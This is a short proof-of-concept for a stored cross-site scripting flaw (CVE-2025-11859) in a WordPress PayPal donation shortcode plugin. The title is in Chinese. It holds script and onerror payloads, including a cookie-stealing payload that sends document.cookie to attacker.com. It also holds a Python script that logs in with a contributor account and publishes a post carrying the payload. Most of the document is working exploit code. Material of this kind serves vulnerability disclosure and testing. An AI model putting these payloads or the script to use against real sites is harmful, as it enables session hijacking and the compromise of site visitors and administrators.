CVE-2025-11859: WordPress PayPal Donation Shortcode插件存储型XSS漏洞

WordPress Stored XSS via PayPal Donation Shortcode // PoC: Inject malicious shortcode into WordPress post/page // Requires Contributor-level access or higher [paypal title='<script>alert(String.fromCharCode(88,83,83))</script>' text='<img src=x onerror=alert(document.domain)>'] // Alternative payload - Cookie stealing [paypal title='<script>document.location="https://attacker.com/steal?c="+document.cookie</script>' text='Donate Now'] // When rendered, the unsanitized input is directly output to HTML: // <div class="paypal-donation"> // <h3><script>alert(String.fromCharCode(88,83,83))</script></h3> // <p><img src=x onerror=alert(document.domain)></p> // </div> // Python PoC to detect the vulnerability import requests TARGET_URL = "http://target-wordpress-site.com/" LOGIN_URL = TARGET_URL + "wp-login.php" POST_ENDPOINT = TARGET_URL + "wp-json/wp/v2/posts" session = requests.Session() # Step 1: Authenticate with Contributor account login_data = { "log": "attacker_username", "pwd": "attacker_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Create post with malicious shortcode post_data = { "title": "XSS Test Post", "content": "[paypal title='<script>alert(document.domain)</script>']", "status": "publish" } response = session.post(POST_ENDPOINT, json=post_data) # Step 3: Verify XSS payload is stored and executed post_id = response.json().get('id') page_url = TARGET_URL + "?p=" + str(post_id) print(f"Visit this URL to trigger XSS: {page_url}")